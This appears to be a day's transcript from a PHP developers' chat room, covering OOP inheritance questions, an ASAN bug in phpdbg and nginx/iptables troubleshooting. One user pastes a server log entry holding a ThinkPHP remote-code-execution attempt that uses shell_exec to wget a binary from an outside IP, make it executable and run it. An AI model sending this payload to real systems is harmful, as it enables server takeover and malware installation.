« first day (4319 days earlier)      last day (612 days later) » 

1:29 AM
@Girgias well … you can use your own OnUpdate function
 
@bwoebi Right... I'm going to add this as a standard one
We have OnUpdateString and co
And I thought passing NULL to the function pointer would do that
But that seems to not be the case
 
 
7 hours later…
8:18 AM
As a question about "subclass" and "superclass", I know this:
class Subclass extends SuperClass
now I want to know, is it the same when we use implements instead of extends? I mean is this correct too?
class Subclass implements SuperClass
 
 
3 hours later…
11:08 AM
SubClass is a sub type of SuperClass in both of the examples yes
 
11:26 AM
in languages like C++, you can extend multiple classes at once
PHP only allows single inheritance for normal classes, but interfaces are special. they're essentially a kind of abstract class
so, implementing interfaces is exactly like extending a class, it's just you can have several of them, and interfaces can't define non-abstract members
 
 
2 hours later…
1:41 PM
@Shafizadeh No you use extends keyword when you want to inherit a normal class, implements keyword in case of interfaces. like java you can extends only one class but you can implements many interfaces or abstract classes.
You should know the difference between class, interface and abstract class
 
@PHPFan That depends entirely on where they're at in their journey learning OOP.
 
Yeah, I'm also sure you misunderstood their question, as the subclass and superclass where in-between quotation marks
 
I came from Java background
@Girgias Oh okay
In simple extends used to inherit a normal class (A class has bodies for all it methods)
except that you should use implements
(In case of interfaces or a class that has at least a method without body)
How you differentiate between method with bodies and method without bodies? you differentiate between them by brackets, the first type has bracket symbol [], the second type hasn't
A method with body e.g public function someMethod1(){}
A method without body e.g public function someMethod1();
 
2:08 PM
Changing the return type of a static function is not an ABI break, right?
 
2:51 PM
@Girgias As static functions are not visible outside of their compilation unit, it should not break the ABI, correct.
 
3:23 PM
@bwoebi There's a long standing issue with phpdbg an ASAN. @Girgias bisected the commits and pin-pointed the commit. A stack-buffer-overflow is triggered here: github.com/php/php-src/commit/…, along with github.com/php/php-src/blob/master/Zend/zend.c#L1095. I don't know enough about the userfaultfd to understand why this could be happening. Mind taking a look?
 
3:55 PM
@IluTov never heard about that
how can I reproduce?
Also: Is it an actual issue, or asan not properly handling the userfaultfd?
 
4:41 PM
@bwoebi If you build with ASAN run-test dies immediately
But only recently has this been appearing, which is kinda strange
 
 
1 hour later…
6:00 PM
I am very warm and I last had to do this 4 years ago; if I have nginx up and running on a server, and when SSH'ed into the box, nginx is serving a site okay on port 80, but from my computer, the site is inaccessible......where do I need to go look to poke something? IPtables appear to be configured correctly - gist.github.com/Danack/1bd0b9fbe3461d928848d9d33799ee02
....
 
@bwoebi I don't know, I tried Googling for AddressSanitizer issues with userfaultfd but nothing came up.
@bwoebi This should reproduce it: gist.github.com/iluuu1994/d4d79bcabe8dad125547c2b47dff627b phpdbg gets invoked in run-tests.php.
 
123.248.241.150 - - [13/Aug/2022:17:56:07 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget 208.67.106.145/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 182 "-" "puzzles/2.0"
nice. I can't access my box but a haxxor is attempting to....
 
 
1 hour later…
7:24 PM
morns
 
 
1 hour later…
8:40 PM
https://stackoverflow.com/questions/73316395/reflectionexception-class-home-does-not-exist-codeigniter-4/73318439?noredirect=1#comment129495252_73318439

Codeigniter 4
 
9:04 PM
@NomanJaved you have probably either forgotten a use statement like "use ProjectName\Controllers\Home", or you need to use the full namespace name where you are defining the routes.
Can anyone read iptables runes? It looks like packets are just being dropped, rather than being received by nginx which is allegedly listening on port 80, er, twice:
nginx     2788            root    6u  IPv4  35133      0t0  TCP *:443 (LISTEN)
nginx     2788            root    7u  IPv4  35134      0t0  TCP *:80 (LISTEN)
nginx     2789        www-data    6u  IPv4  35133      0t0  TCP *:443 (LISTEN)
nginx     2789        www-data    7u  IPv4  35134      0t0  TCP *:80 (LISTEN)
Or does anyone have an up-to-date example of how to use iptables on Ubuntu to lockdown a server? Mine may be out of date.
 
9:30 PM
conntrack........is apparently a thing.
 
@Danack Your rules look like you are using wiki.ubuntu.com/UncomplicatedFirewall, so you likely want to look into that instead. Personally I don't find things like that uncomplicated at all, because it just hides the complexity. Regarding "up-to-date example of iptables": Don't. Use nftables. The syntax is much more human friendly.
 
@TimWolla if you use nftables, do you happen to know of a way to restrict outgoing connections to a given list of domain names? That was on my list of things to look at doing, but requires a cronjob + script with iptables. Or whatever I was using.
 
10:36 PM
All the foo-tables deal with IP addresses, not domain names. So you'd still need a script like that.
Personally I don't really bother with blocking outgoing connections, other than port 25 on some machines.
nftables likely is much easier to script for your use case compared to iptables, though, because you have things like variables and sets available: wiki.nftables.org/wiki-nftables/index.php/Sets
 

« first day (4319 days earlier)      last day (612 days later) »